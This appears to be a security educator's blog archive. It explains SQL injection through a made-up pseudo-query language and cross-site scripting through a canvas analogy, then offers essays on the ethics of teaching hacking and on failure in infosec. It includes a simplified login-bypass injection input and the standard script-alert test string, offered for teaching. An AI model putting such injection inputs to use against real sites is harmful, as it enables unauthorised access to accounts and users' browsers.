Start Studying Security with...

We previously explored how Cross-Site Scripting (XSS) makes for an excellent topic to understand the reach and impact of hacking. In this post, we'll improve on conceptual understanding and try to help non-technical folks understand one of the core issues of information security: the fundamental ambiguity of code and data.

...SQL Injection

Structured Query Language (SQL) is used to tell databases how to retrieve information. One common use of SQL is for web applications to retrieve data which can then be displayed to a user or otherwise leveraged by the application's code. SQL Injection (SQLi) is a vulnerability that, among other things, can allow an attacker to force a database to retrieve information it isn't supposed to. In some contexts, retrieving the wrong information can force a web application to allow the attacker to bypass authentication mechanisms, or even execute arbitrary code on the underlying machine.

SQLi is a fantastic vulnerability for showcasing the problem of code and data interpretation for several reasons:

1. SQL is easy to read because most of its keywords look like English and have similar meanings to their English counterparts.

2. SQL is a declarative language. This means that the programmer writes exactly what they want the program to do. Many other programming languages are imperative, meaning that the programmer needs to express how the program should obtain its results first. Non-technical folk are likely to be familiar with declarative reasoning because most sentences we read, speak, write and hear are usually declarative themselves (at least in English).

3. As with XSS, the actual code required to understand SQLi is relatively minimal and self-descriptive.

We'll begin once again by creating a fantastical yet physical scenario that can provide us with the intuition for how code and data can get all mixed up. We'll then use pseudocode to display what an actual web vulnerability might look like, and show how an attacker can inject arbitrary SQL to login into a website without knowing correct user credentials.

Sitting Down for Sushi

Many all-you-can-eat sushi restaurants have their customers write numerals next to the various items on their menus. You might decide to order three pieces of Shrimp, five pieces of Salmon, and eight pieces of Scallops. Your order would look like this:

This is a perfectly reasonable order in most sushi restaurants. The waiter accepts the menu without a second glance, and the chef begins to prepare the meal.

However, you as the client cannot just put any value down on the paper for each item. For example, you cannot order fractions of sushi, negative values, or extremely high values. If a particular value is very high, the waiter or the chef might decide to verify that you meant what you wrote (i.e. validate) or outright reject the order. For example, an order like this is very unlikely to be accepted:

Likewise, you cannot write values on the menu that are not numerals. If you decide to place an order like the following, the waiter will likely come back to ask you for clarification:

One way to understand why sushi restaurants aren't harbours of pure chaos is because there is an implicit interpretation of the client-inputted values as data. The inputted values must obey certain intuitive (though usually unstated) rules, and a filter exits to ensure that the data is both well-formed and sound. In this case, the filter is the waiter and/or the chef when they validate the submitted menu.

But what would happen if the waiter/chef combo would accept anything inputted on the menu? Perhaps they would accept extremely high values of sushi. They would therefore force the restaurant to work for 17 years straight to fulfil your order. Or perhaps they would interpret your hastily written "AA" as "44" and bring you a substantial number of scallops.

What's of special interest to us, is the possibility of the waiter/chef interpreting our input not merely as unreasonable values of data, but as instructions. For example, we can imagine a situation where the keyword "SIMONSAYS" will always precede an instruction that the waiter and chef will obey. So for example, an order such as what follows can allow us to lower the cost of our meal to zero dollars:

If the waiter or chef cannot distinguish between data and code, they'll make the requested 16 pieces of sushi, and then continue executing the menu's instructions until it is complete. When we receive the bill at the end of our meal, we'll see that our total comes out to $0. Turns out there can be such a thing as a free lunch!

Scrambling Syntax and Semantics

The above example is extremely far-fetched, but it hopefully gets the point across. When someone or something that reads and acts upon user-submitted information doesn't filter the supplied contents properly, they/it can get confused and interpret data as code. When that happens, the submitter may be able to abuse the executor to obtain unreasonable outcomes.

Now that we understand why opportunities to provide user-submitted information can be abused, let's consider how they can be leveraged in practice on a web application.

For this tutorial, we'll think about a model of a web application and database. Instead of using actual code and SQL syntax, we'll use pseudocode and a fake syntax to provide a more intuitive reading experience. The goal here is not to be able to perform SQLi, but rather to understand how it could work in principle. In particular, we're going to imagine that our database can speak almost plain English. We'll call our fake database language "EQL": English Query Language.

Imagine that we browse to a website called www.letslearnsqli.com. The website has a login page at www.letslearnsqli.com/login which presents a standard username & password form.

What actually happens when we submit data via the form? The web application might be built with code that looks like the following:

# part 1
submitted_username_value = form_username
submitted_password_value = form_password

# part 2
EQL_statement = "GET all the results from the USERS table where the USERNAME value equals submitted_username_value, AND where the PASSWORD value equals submitted_password_value"

# part 3
ask_database(EQL_statement)

# part 4
if (ask_database equals true):
then:
        authenticate user
else:
        reject user

The above code has four parts to it. The first part says to create two variables called submitted_username_value and submitted_password_value and set them to the values provided by the user in the web application form.

The second part says to create another variable. This variable contains an EQL query: an instruction that can be relayed to the database. When the database is queried, it will search for all username & password entries in the users table where the values provided via the web application form match.

The third part is actually responsible for querying the database, and it does so via the function ask_database(). This function is like a mini program that sends the database the query defined in the EQL_statement variable. It returns "true" if the values match, and "false" if the values don't.

Finally, the if then else logic block checks for the returned database value (remember, it can either be "true" or "false"). If the database returns "true", the web application lets the user log in. If it returns false, then the web application does not let the user log in.

The important thing to note here is that the user actually has an influence on the query sent to the database! If the user enters "jacob" as their username and "balderdash" as their password, then the EQL statement will read:

GET all the results from the USERS table where the USERNAME value equals 'jacob', AND where the PASSWORD value equals 'balderdash'

Here, the user is offered limited control over the database query by design. The implicit assumption is that since the user is only able to input data into the web application form, all will be well and at the worst, the user might input very large data. As long as the user doesn't know any correct credentials, they won't be able to authenticate.

But, where is the user submitting data to exactly? The data is being submitted inside a block of text that is to be interpreted as code. Specifically, the EQL_statement is an instruction that will be passed to the database. If the user can submit data that the database will interpret as code instead of as data, then it might be able to influence the EQL_statement to perform more nefarious behaviour.

Imagine instead of the correct credentials jacob:balderdash we instead submit something like: notjacob:incorrect OR where 2+2=4.

Then, the EQL_statement will read:

GET all the results from the USERS table where the USERNAME value equals 'notjacob', AND where the PASSWORD value equals 'incorrect' OR where 2+2=4

The database can now interpret the EQL_statement in one of two ways: it can assume that the text provided by the user is all data, i.e. that their literal submitted password is incorrect OR where 2+2=4. In this case, there is no harm done because the user's password is very unlikely to be this string.

However, what would happen if the database does not filter for the word OR, and interprets it as part of the EQL language itself?

Similarly to SQL, in our fake database language, the AND keyword is conjunctive. This means that both statements on either side of the keyword must be true for the whole statement to be true. But the OR keyword is disjunctive. This means that only one of the statements on either side of the keyword needs to be true for the whole thing to be true.

Since 2+2=4 is always true, it doesn't matter what is on the other side: if the database does not filter our input and accepts the OR keyword as its own syntax, we can submit literally any credentials, and the database will always return true.

So when the web application code attempts to validate our credentials, it will just read "true" from the database and let us in!

Summary

Like many vulnerabilities, SQLi exists because data is made out of text and instructions are made out of text. When programs that interpret text do a poor job of filtertering for unintended meaning, malicious actors can force those programs to give them access to things that they shouldn't.

Understanding the code & data ambiguity problem may lead one to wonder, are we forever at risk of SQLi? The answer is no! Programmers and web developers can reduce the probability of injection attacks by being more explicit in separating user data from the text that encodes the web application. May web application programming languages have pre-built mechanisms in place to perform this separation.

Clarifying Hacking with...

The purpose of this post is to help cybersecurity professionals explain 'hacking' to lay-people. This might be useful when communicating with individuals totally outside of the infosec space, or with businessy folk inside the space that want to get a more intuitive understanding of what attackers really can do and how they can be so dangerous.

...Cross-Site Scripting

Cross-Site Scripting is an excellent vulnerability to showcase the reach and power of attacks for at least three reasons:

1) The client is the victim and the explainee is the client

Since XSS targets a visiting client's browser, the attack can be made much more personally relevant than something like SQL Injection or Directory Traversal. Most people don't have experience with managing databases or organizing web directory structures, but they do have a lot of experience operating a browser. Since the browser is itself the target, we can skip a bunch of abstractions and get right to what happens between the attacker and the victim.

2) The explainee experiences user-generated web content often

The first central concept used in the explanation below is that web pages often allow users to alter the experience of other users. Luckily, people are very familiar with this type of web content. It is everywhere in the form of things like social media, blog post comments, and web forums. While XSS doesn't need to target these kinds of sites, they are a great starting point for helping people realize that other users can change the content that their browser renders.

3) The code can be descriptive and concise

When we start getting into the details of how an attack works, its important that any code we want to employ is easy to read and low on symbols / syntax. Fortunately, XSS requires a very low amount of code to get started with even for someone who hasn't ever read or written a line of code before.

Clients and Canvases

To proceed with the explanation, we'll use three different levels of description. The first will be to introduce a magical XSS-like interaction in the physical world. The second will provide the intuition that the content consumed on web pages can be authored by other users, and show how malicious actors can make someone's experience unpleasant. Finally, the third will dive deeper into the mechanics of XSS properly.

To begin, let's introduce the concept of a Public Canvas. Imagine going to the middle of a populated city square where a giant Oil Painting Canvas is at its center. This Canvas is peculiar since it's content is entirely crowdsourced. Anyone can walk up to it and paint a single brushstroke with the conveniently available magic paintbrushes that never run out of paint. In addition, brushstrokes can never be removed or painted over with other colors.

Anyone who interacts with the Canvas is called a "Canvas Client", or a User. Users have two essential actions that they can take with regard to the Canvas:

1. They can "read" the Canvas, which they do by default just by observing it
2. They can "write" to the Canvas by adding a brushstroke of their choice to it

Notice that Users can inherently affect the experience of other Users. If Alice "writes" a red square onto the Canvas, then Bob will "read" the red square when he observes it. In some sense, this transferability of experience is the purpose of the Canvas. It exists so that Users can collectively share artistry and alter the reality of other Users.

But Alice can also affect Bob's experience in a more subtle sense. One day Alice realizes that she can paint actual words onto the Canvas. Of course, these words would need to be cursive since Users must paint a single brushstroke at a time. If Alice assumes that Bob knows English, then she will realize that Bob cannot help but read whatever words Alice decides to paint. So if Alice paints the phrase Think of an Orange Dolphin, then Bob will read the words and subsequently think of an Orange Dolphin.

Alice has "hacked" Bob's mind by forcing him to think of something that he didn't intend to think about via a "command", i.e. the command to think of an Orange Dolphin. Bob has no choice but to run the concept of an Orange Dolphin in his mind when he reads the Canvas.

Content as a Corruptible Canvas

We've broken the ice with a contrived-yet-physical scenario where Users can impact the experience of other Users by writing specific inputs on a Public Canvas. In this part of the explanation, we aim to show that this general pattern is nowhere near as weird as the story of Alice and Bob. Indeed, it's a scene we each experience almost every day on social media sites like Facebook and Twitter.

When we as Users of something like Twitter browse to twitter.com, what happens? In simple terms, our browser requests that Twitter's web server provides us with some content which will be displayed in the browser. The web server responds and shows us some content, but what content is displayed? The algorithms sites like Twitter use are very complex, but the important part to note is that in Twitter's case, the vast majority of content is generated by other Twitter Users. In fact, almost all of the content we observe on Twitter comes from other Users and not from the company itself.

Viewed in this light, Twitter is a Canvas upon which any User can read and write. However, just because a User writes (a tweet) does not mean that other Users will necessarily read it. Who gets to read what is dictated by follower count and by who follows whom. Still, we can imagine a simpler version of Twitter where every tweet gets read by every other User.

On such a site, it would be trivial to corrupt the Canvas with offensive content and therefore negatively influence the experience of other Users. In real-Twitter's case, rules against certain content prevent Users from posting particularly unpleasant items. The important thing to note is that the regular intended use case for Twitter Users -- i.e. the posting of data to the site -- allows them to impact what happens to other Users.

From here we only need to take one more step before we can get to Cross-Site Scripting for real. The important aha moment is this: when Cathy writes a tweet and Derek loads the webpage, it isn't only Derek-the-Human that is forced to read whatever Cathy wrote. Crucially, Derek's browser has to load the content produced by Cathy, and that is the mechanism by which something like XSS can work.

Canvas to Code

At this point the explainee should have a pretty strong intuition about how a User can influence and negatively impact the experience of other Users. They should also understand how the content that a User writes will get loaded up and read by the browsers belonging to other Users.

From here we must roll up our sleeves and get into the details of what XSS actually is, however we should hopefully be at a place where the listener is able to grasp a bit of web logic. Since this part can be rather long to explain in a real back-and-forth conversation, I'll briefly outline the rough steps I would take.

First, I'd introduce a simplified version of HTML. I'd explain that HTML describes web pages, and that it can be written with a series of tags like <HTML>, <head>, <body>, and <script>.

Second, I'd explain that the <script> tag allows the programmer to insert some code into the web page. I wouldn't necessarily talk about JavaScript, or explain the difference between a markup language and a programming language. Instead, I would focus on what <script> does at a high level: it instructs the browser to actually do things other than just display text.

Third, I'd start talking about the concept of injection. In a site's normal use case, the User is expected to post content that will usually appear as text in another User's browser. But what happens if they post something that seems like an HTML tag? For example, what happens if they post <b>this text is bold</b>, and it causes another User to read this text is bold?

(EDIT: Ironically, when I initially wrote this post I did not use backticks (`) to put the above HTML tags in code blocks and the website would not publish any content from the tags onward. This shows that Hashnode is filtering for HTML syntax. Nice!)

Fourth, if I could convince the explainee that it's usually unintended to cause other Users to load bold text in their browsers via HTML injection, then it's not a big stretch to show how an attacker could be capable of using <script> to perform code injection. And so, here we finally arrive at the inevitable and ubiquitous <script>alert('XSS')</script> example. When I as the attacker insert the above string into a webpage, and the webpage accepts the input as code (and not merely as text), then when your browser loads the page, it will execute the code (instead of merely displaying it as text).

To summarize, a given site might expect Users to write text that it will later display to other Users. However, a properly programmed site will interpret any text that happens to appear like code just like any other text, or it will filter it out. If the site isn't properly written, it might interpret text that seems like code as code. In such a scenario, an attacker can inject code into the web page which will later be loaded and run by other Users' browsers.

While the example shown above via alert is often harmless, it should do the trick of persuading the explainee how an attacker might be able to control someone else's browser just by entering some text. At this point, they will hopefully be sufficiently spooked so as to understand the potential gravity of the situation.

Caveats and Considerations

I'll end this post with a few details about XSS that do make it somewhat cumbersome to explain if we are trying to be precise. First and foremost, we might want to inform our audience that XSS is really poorly named: it's usually not Cross-Site, it requires barely any scripting, and its acronym doesn't even make use of the first letters of it's component words. It's also not always useful for many penetration testers.

1) XSS isn't necessarily Cross-Site

Most XSS is done via text inputs in the comments section of a blog post or other similar fields. Usually we don't need to enlist a second website to communicate to the target site (i.e. the "Cross-Site" in "Cross-Site Scripting" isn't usually true).

2) XSS doesn't require Scripting

As shown above, the attacker only needs a tiny amount of code to hijack other Users' browsers. This means that the "Scripting" in "Cross-Site Scripting" also isn't usually true.

So if Cross-Site Scripting neither is Cross-Site nor does it require Scripting... then what exactly is it? My friend and colleague Dejan Zelic prefers the term "output injection", because what the attacker is really doing is manipulating the output loaded and subsequently executed by a victim's browser.

3) XSS is not CSS

To make matters more confusing, the acronym XSS starts with an X and not a C, which can certainly make people furrow their eyebrows. "CSS" is already taken, and Xs are edgy and scary.

Finally, a useful XSS attack for a penetration tester usually requires that the victim have higher permissions than the attacker, or else there's not usually a purpose to the attack. Explaining this point is however beyond the scope of this blog post.

In spite of these details, I believe that XSS is visceral and visual enough so that it can be easily understood by non-security and even non-tech people due to the familiarity of its target. Next time you're chatting with a friend or a colleague about the reach of hacking, please feel free to try out the explanation above and let me know how it goes!

Introduction

Before we begin, I want to reiterate the above the disclaimer. I prepend this disclaimer to every post, but I want to make it especially clear that the views I am expressing today reflect only my own beliefs. Further, the moral positions taken in this post are about me as an individual, and not necessarily as part of an organization or community.

Perhaps the most frequent question/objection I get asked when I tell people what I do goes something like this: "How can you possibly justify teaching hacking in terms of ethics or morality? In teaching people how to get access to devices and information that does not belong to them, are you not adding more danger to the planet? Can you truly claim to be helping the world to become more secure? Or is it possible that you are just enabling bad actors with bad intentions?"

This is an extremely important question, and we would do well as a security community to consider it carefully and seriously. When speaking with non-security or non-technical folk, I try to answer this by analogy. Like all analogies, it isn't perfect, but I think it does provide an intuition and a framework for thinking about this topic more clearly.

It will come to no surprise to my readers that this analogy will be about combat sports. We teach many people - including children - how to defend themselves via boxing, martial arts, and wrestling all over the world. One might reasonably make a similar critique to the one voiced above: "How can you possibly justify teaching kickboxing in terms of ethics or morality? In teaching people how to strike other humans, are you not adding more danger to the planet? Can you truly claim to be helping the world to become more safe? Or is it possible that you are just enabling bad actors with bad intentions?"

It's hopefully easy to see the analogy between the two lines of questioning. In the first case, we are transferring digital skills to people who can perform violent actions in cyberspace. In the second case, we are transferring physical skills to people who can perform violent actions in physical space. I think for most people who have thought a bit about it, it's fairly obvious why the existence of martial art schools are a net good. Therefore, I'll first try to reply to the personal-combat-skeptic with three points of view. For each one, I will attempt to translate it to the ethical-hacking-skeptic in the hope that the analogy is strong enough to carry over across domains.

An Economic View

While dojos - I am taking license with the word to use it to refer to boxing or MMA gyms and the like - can be fertile ground for bullies, gang members, or generally unsavory people to learn to fight, they certainly aren't the only place where such people can learn to fight. If someone wants to learn to fight outside of a school/dojo/military, there are plenty of terrible ways of going about it. Someone sufficiently motivated will not be deterred by the lack of a formal training institution. I don't have any data to support this, but my intuition is that many if not most hand-to-hand fighters of a certain caliber are probably not taught in dojos but rather pick up skills through a much more rough and dangerous path. (EDIT: Thinking about it a little bit more, I think my credence in the above statement is lower than when I initially typed it a few days ago, given the popularity of the UFC and MMA).

Likewise, none of the hacking and security techniques OffSec (or anyone else for that matter) teaches are sacred. Anyone sufficiently motivated can and will find resources to teach themselves without a teacher/vendor/school/company. I would be surprised if the ratio of cybercriminals who learn outside of a legitimate cyber education vendor is much smaller than the ratio of physical criminals who learn outside of a dojo.

Since this is an argument based purely on intuition, let me say what it would take for me to change my mind here: If it turned out that a majority of physical criminals learned to fight by virtue of dojo membership, or if it turned out that a majority of cybercriminals learned to hack by virtue of legitimate online training, then this argument would no longer be very good.

However, given that I currently believe that most bad actors learn outside of a formal system, I also believe that the net benefit of those institutions far exceeds this particular danger.

A Sociological View

Of the three ideas I'm defending here, this is perhaps the most idealistic. One argument for the dojo as an institution is that it has the potential of changing the minds of would-be bad actors. If you are part of a community that is empowering, supportive, nurturing, and understanding, you'll (we hope) become less likely to go start fights or join a gang or cause violence, even if your original desire was to learn to throw your weight around.

Again, as with physical violence, so with cyber: We aspire that students joining communities like OffSec's (and the infosec community in general) receive enough support, guidance and purpose so that they become less likely to need to be bad actors, even if that was their original goal.

A great power of community is that while any individual can join and influence it, it in turn can and will influence the individual. By encouraging a world with institutions that teach ethical hacking, we provide space for people who are curious about these subjects to develop humility and trust and belonging and empathy.

I'm aware that I'm painting a very black and white picture here. Sometimes bad actors do great things, and sometimes great people do horrible things. More, what is considered "good" and "bad" is often a matter of perspective; though I tend to be a moral realist, I recognize that not everyone has the same belief structure.

Once again though, I do think that on average, a properly sheparded dojo with attentive care to its membership can cultivate excellent social attributes in its membership, and likewise I believe that information security communities can be similarly powerful positive influences. This isn't to say that I think that the information security community today is a perfect bastion of light and hope; I think there are definitely things we can and will continue to do better in this space.

A Philosophical View

There is a logical fallacy in philosophy called "proving too much". We can say that an argument proves too much when it forces us to draw a conclusion that is unreasonable if we generalize it. Let's take a quick detour to go over an example.

First, consider the argument "We should ban all knives, because knives can be used to hurt people".

Next, we take the general form of the argument: "We should ban all X, because X can be used to hurt people".

To know if our argument is vulnerable to this fallacy, we only need to find an instance of X where the statement "X can be used to hurt people is true", but which would obviously be unreasonable to ban. I happen to be drinking some coffee out of a beautiful clay mug, and I'm pretty sure one could inflict some damage on someone's head with it should they be so inclined... and yet I don't think most people would support a general ban on coffee mugs.

(One could also point out that the instance where X=Knives is itself such a counter example, since we all use knives for the exceptionally useful purpose of cutting food every day).

Now, let's return from the dizzying world of philosophical logic and return to violence. "We should stop teaching hacking because people can do bad things with it" is itself an example of proving too much. In this case, martial arts is the X.

You might respond "Ok, but I think we shouldn't teach hacking or fighting because they both enable bad actors". This would be perfectly acceptable as a position, except that there are plenty other instances of X where teaching it can enable bad actors. Accounting? Television would have us believe that drug dealers are fantastic at money management. Chemistry? Chemical engineers can make weapons. Programming? But cybercriminals need to learn to code too!

The point here is, if we really think that teaching hacking is bad, it can't be only because it enables bad actors, because teaching many other skills can enable bad actors that we definitely want to continue teaching and learning!

Conclusion

Finally, let's take the initial argument to its logical conclusion and imagine that we put a stop to all martial art schools. Now all the "bad guys" will continue to "bad act", but the "good guys" have no means to defend themselves. Similarly, if we stop formally teaching 'offensive' security (and we do need to learn offense to understand defense well), we'll be left in a world where the only people who know how to get compromises are the bad actors we were initially concerned with.

The thoughts here are by no means a knockdown argument. I think the general feeling behind hacking-education skepticism is important, and the last thing I think we should do is dismiss it lightly.

We should continue to think about how we can mitigate bad-actor education. We should continue to consider how to transfer knowledge and skills in an ethical and responsible manner. And we should continue to make our communities more welcoming, more friendly, and more able to nurture the best in their members.

In Part 1, we discussed the unpleasantness and inevitably of failure in InfoSec, and we left ourselves with the question "If failure is going to happen anyway, how can we make it more bearable"? To begin answering this question, we will look at several other domains that I have some familiarity with. Practitioners in these domains tend to consider the emotional response to failure as more of a "solved problem" than most people in information security seem to, at least based on my exposure to all these different communities. One of the reasons for this is that all three domains are usually recreational for many of their participants, and therefore the stakes involved are lower than in the professional endeavor of security. However, that doesn't mean we cannot learn from them and try to implement their lessons in our space. We will observe how failure tends to work out in martial arts, strategy games, and in climbing.

One of the amazing and baffling properties of Brazilian Jiu-Jitsu (BJJ) compared to many other martial arts is that when one faces a better opponent (for sufficient degrees of "better"), the opponent will win almost every match. This is especially true when we control for external variables like size, age, and sex, but BJJ is among the few martial arts where these variables are often much less important than skill - I say this as someone who has practiced many different arts for many years. The combatant who has better technique will generally defeat the one with worse technique.

This raises the question of how to practice, given that a student can statistically predict whether they will win or lose against a specific opponent. How should a new student spend their time? One of my teachers suggested a rule they called "45 & 5":

• a. spend 45% of your time grappling with students just slightly better than you
• b. spend 45% of your time grappling with students just slightly worse than you
• c. spend 5% of your time grappling with students significantly better than you
• d. spend 5% of your time grappling with students significantly worse than you

Students who follow this protocol will find that they lose approximately half their matches, and win approximately half their matches. Most of their matches will allow them to make small adjustments: (a) will give students understanding about what they need to improve and (b) will act as a space for practicing skills leading to improvement. The remaining few matches will provide context: (c) will grant perspective on how much more there is yet to learn, while (d) will show the student how far they have already come. The important thing to note here is that a student following this advice will fail almost half of the time regardless of the student's level.

H. Looking at strategy games

Games such as chess and go employ rating systems like Elo and Glicko to estimate the relative skill of different players. Online play has allowed match making systems to develop. These systems implement algorithms that pair players together based on skill. When a player wins a game, they are allocated a certain amount of points. Likewise, they lose points whenever they lose a game. In a large enough pool of players, participants are intentionally matched up against others that are close to them in skill level. This provides both players with a fair game, and gives each the opportunity to improve, even when they lose.

Despite the fact that players lose half their games, players that improve will slowly face and defeat better opponents and thus climb the ratings. Whereas the controlled failure of the BJJ 45 & 5 protocol is self-administered, well-implemented matchmaking systems ensure that each player loses approximately half of the time. Thus we have a curious situation: players engaging in such games completely recreationally do so knowing that they will be manipulated to fail, and yet the "next game" button gets clicked on thousands of times a day.

I. Looking at climbing

Climbing is unique among the domains we've discussed so far in that it is generally not competitive against others (despite its recent debut in the 2020 Tokyo Olympics ). Nevertheless, climbing has some wonderful properties that make progress easy to track. Different "routes" are allocated grades by the climbing community, or in the case of a climbing gym, by the "setters" creating the routes. The complexity of climbing makes grading subjective, but there is at least some correlation between what is considered a "hard" problem in one location compared to what is considered "hard" in another.

My experience with climbing is limited mostly to bouldering. Bouldering is typically practiced at relatively low heights, which means there is no need for harnesses or ropes. Routes in bouldering are often referred to as "problems". Since the height of each problem is low, only a few movements are required to reach the top. For most climbers and most problems, each problem will have one hardest move: the move that the climber tends to fail on. Getting better at bouldering is not entirely identical to locating and improving at hard moves, but it is a pretty good approximation for our purposes. In particular, if the boulderer only attempts problems with easy moves that they know they can handle, they will stagnate. This is because they are not subjecting themselves to any pressure that develops better technique, stronger fingers, greater flexibility or more efficient breathing - all of which are crucial to continuous improvement.

As with BJJ and strategy games, the practitioner must expose themselves to situations in which they will reliably fail, over and over again. How then do martial artists, game players, and climbers deal with the inevitability of failure? Here I propose two mechanisms that I've observed in each of these domains: community and locality.

J. The importance of community

It would be naive to think that one will avoid all feelings of frustration and inadequacy during the 50% of time losing in BJJ. But because loses are balanced out by wins, and because every other student is experiencing the same failures and successes, a healthy school develops a camaraderie that empowers the whole student body to improve together over time.

Similarly, many online games (my experience is mostly with real-time strategy (RTS) ) have excellent communities where players can grow and learn together. Practice games are set up, coaching is offered, and replays of games are analyzed. In my view, the best of these communities explicitly address the negative emotions that accompany failure and help players develop strong mental attitudes.

Finally, every climbing gym I've entered has been a bastion of helpfulness and compassion. In my experience, climbers all over the world tend to be ecstatic to help each other out, provide insight on how to solve problems and offer moral support when a session is going poorly.

People in information security tend to have a strong sense of community, and indeed "community" is one of OffSec's core values. But learning security can often feel lonely. If I could ask one thing of the reader, it would be to please never hesitate to reach out to others in the space for practical and emotional support - there are plenty of infosec community members who are more than happy to help out.

K. Local failure and global progress

In addition to strong communities, another property that martial arts, strategy games, climbing and infosec share is what I call locality. Losing a fight or a game, falling off the bouldering wall or failing to get a shell are all instances of local failure. But as we have seen, local failure is necessary to make global progress. If one reframes instances of failure as "just" a local phenomenon, they can reinterpret the action as a successful one, even if it isn't a direct success.

Many BJJ students and RTS players do this explicitly. They decide that for the next match, they will not focus so much on winning but rather on executing a particular technique or on avoiding a certain error mode. When they lose (and they will for half the time) they can reinterpret their failure as a success if they were able to make progress toward their chosen goal. Likewise, boulderers might fail at a particular problem even while becoming better at a certain movement or while becoming more efficient.

Here is something you can try to reinforce this concept of local failure and global progress in your infosec journey (I apologize for the offensive focus here, but I imagine students can adapt this exercise for defensive areas as well). Set a timer for some arbitrary amount of time, say for three hours. Your goal is to attack a chosen machine and compromise it within the allotted time.

If you are able to compromise the target, then you have succeeded. Pick a more difficult machine or reduce the time period and try again. At some point, some combination of target and time period will inevitably cause you to fail. When you do, write down what you have learned during the process, and particularly what your failed attempts might tell you about the machine. As long as you can write down a single fact, principle, observation or idea you have made progress not only on this machine, but on all future machines and scenarios that you encounter. Your failure, local that it is, contributes to your global progress and makes you a better security professional.

L. Purple empathy

I won't dive into the appreciations and concerns I have with the term "Purple team" here, but I'll end off with an observation that I believe can help both attackers and defenders. If failure is conserved in security, you can always interpret your failure as some success. The next time that you fail to accomplish a security goal, note that you would have succeeded had your role been reversed. Likewise, notice that each success that you experience is just as fairly interpreted as a failure from a different perspective. What can you learn from that failure? I'll leave you with one last question: what kind of empathy can we develop as a community if we acknowledge that our combined wins and loses are always equal?

A. Definitions of failure

The term 'fail' has all sorts of negative connotations in our culture. To make sure that we're thinking through the same concept, we'll start by choosing an operational definition of the thing we're talking about. This definition isn't meant to cover every possible use case of the term, but rather to give us some common ground to start communicating together.

We will define failure as an action for the purposes of this post. Specifically, it is an action that does not accomplish some predetermined goal - a goal that could have been fulfilled, had the outcome of the action been otherwise.

SET GOAL -> TAKE ACTION -> OBSERVE OUTCOME

When the outcome of the action accomplishes the goal, we say that the action was successful. Similarly, when the outcome of the action does not accomplish the goal, we say that the action failed. Notice that in both cases, the goal and the action itself remain constant. The only change between the two scenarios is the outcome. The outcome then determines our interpretation of the action as one of failure or of success.

Since this is a post about Cyber Security, we must acknowledge the apparent asymmetry of offense and defense. While there are no doubt important differences in the goals, economics and operations of offensive and defensive actors, notice that our definition of failure is nonetheless symmetrical for both groups. An offensive action fails when it does not accomplish the goal of the attacker, and a defensive action fails when it does not accomplish the goal of the defender.

B. Failure is not fun

It is hopefully uncontroversial to claim that most people are averse to taking actions that could accomplish their goals, but that don't. People are averse to failure. There are probably many evolutionary, psychological and cultural reasons for this to be so, but we won't concern ourselves with explanations here; we will simply take it as fact that attackers experience negative emotions when their payloads don't result in shells, and that defenders experience negative emotions when their systems get compromised.

I imagine most people need some experience with conscious mental conditioning to disassociate negative emotions from failed actions. After teaching and mentoring thousands of students in both Penetration Testing and in martial arts, I don't think I've met many (if any) people who find failure fun without additional framing first. That said, I wouldn't be terribly surprised if some subset of people don't have a natural aversion to failure. If you happen to be furrowing your eyebrows and wondering what I'm even talking about here, then I'd love to hear from you about your experiences - I imagine you have a pretty wonderful mental skill! If you are like me and tend not to enjoy failing at things, then the rest of this post is for you. It explores how we can become happier security practitioners even though we will fail time and time again.

C. The "principle" of conservation of failure in Cyber Security

The title of this section is a little bit tongue in cheek, but I do think there is a grain of truth to be found buried here. I asserted earlier that our definition of failure in Cyber Security is symmetric across the offensive / defensive divide. But in addition to being symmetric, failure is also conserved. Every time a defender's actions fail, an attacker must have succeeded in some capacity. And every time an attacker fails to gain traction (recall our restriction on which goals are allowed to be attached to failures), a defender must have succeeded in some capacity.

(Please note, I am by no means claiming that the consequences of failure are conserved. One of the most important and widely recognized asymmetries in Cyber Security is that the results of failing to execute a given attack are often trivial for the attacker, but the ramifications of letting a single attack through can be devastating for the defender. Here, I'm merely claiming that the quantity of failures are conserved, not their magnitudes.)

D. Success on one side enables progress on the other

The information security space is a rare (though as we'll see, not a unique) discipline in that its two sides share a strange symbiotic relationship, despite their zero-sum nature. As attackers discover new ways of bypassing defenses, defenders adapt and become better at discovering, preventing and mitigating attacks. Attackers then seek to understand the new defensive inventions, and learn to defeat them. This quasi-evolutionary bond is the harbinger of progress in infosec - excuse the pun. Blue relies on Red to create the pressure for more robust defenses, and Red relies on Blue to constrain the attack space so that new vectors can be found. Both sides therefore grow together, despite the fact that each individual action is necessarily a failure on one part or the other.

This depiction might convey that the attacker is always the "proactive" agent and that the defender is the "reactive" agent in the relationship. However, security is complicated, and both sides often take actions that can be interpreted as "offensive" or "defensive" depending on the frame of reference one is viewing them from.

My favorite example of this subtlety comes from the field of Malware Analysis. In his book Advanced Malware Analysis, Christopher Elisan explains how malware developers (often interpreted as the attackers) need to protect their binaries with certain features, just as malware researchers (often interpreted as the defenders) "attack" malware programs through analysis to understand their directives. As analysts discover more holes in the structure of malware, developers implement increasingly cunning protective mechanisms. Again, both sides improve via their combined failures.

E. Failure is inevitable

There are many reasons why failures in security are inevitable. As I wrote previously, the human minds practicing security are fatally flawed and will therefore make mistakes over time. And even if our reasoning abilities were free of bias, we would still not know everything there is to know about every possible system. Security is about reasoning under uncertainty for both attacker and defender, and sometimes our uncertainty will result in failure. None of us know how to avoid all mistakes in our code, all configuration errors, and all deployment issues. Further still, learning technical skills in general and "security" in particular requires a large amount of trial and error over time.

But we can momentarily disregard our biased minds, the practically unbridgeable gap between what we can know and what is true, and even the simple need to learn skills and knowledge on both sides of the fence. The inevitability of failure follows directly from our earlier observation about conservation. If failure is conserved between red and blue, then every action in this space can be interpreted as one. The important question to ask ourselves therefore isn't "How do we avoid failure?", but rather "Given that failure is inevitable, how do we make make the best of it?"

F. Making failure (more) fun

So far we have chosen to define failure as a property of actions that do not accomplish the desired outcomes of predetermined goals. We have acknowledged that for most people, failing to accomplish their goals is unpleasant, and we have also observed that failure in the domain of information security is conserved: attackers win when defenders lose and vice versa. Despite this zero-sum relationship, each side benefits from the successes of the other. Finally, we've deduced that failure is inevitable for a myriad of reasons and we're now left wondering what to do about it.

We could throw our hands up in despair. If failure is inevitable, why should we even try? But this kind of fatalism falls apart before it even gets off the ground. We know just from looking around the Cyber Security community that there really are knowledgeable people out there. Somehow they have acquired their skills and abilities despite failing an innumerable amount of times. Additionally, we've identified a mechanism through which both offense and defense can make progress by competing and failing together. So we need not spend any more time convincing ourselves that failure is useful. However, since we know we'll be experiencing a lot of it, we might as well try to make it more pleasant. How can we make failure more fun? We'll try to consider this question in Part 2 of this post!
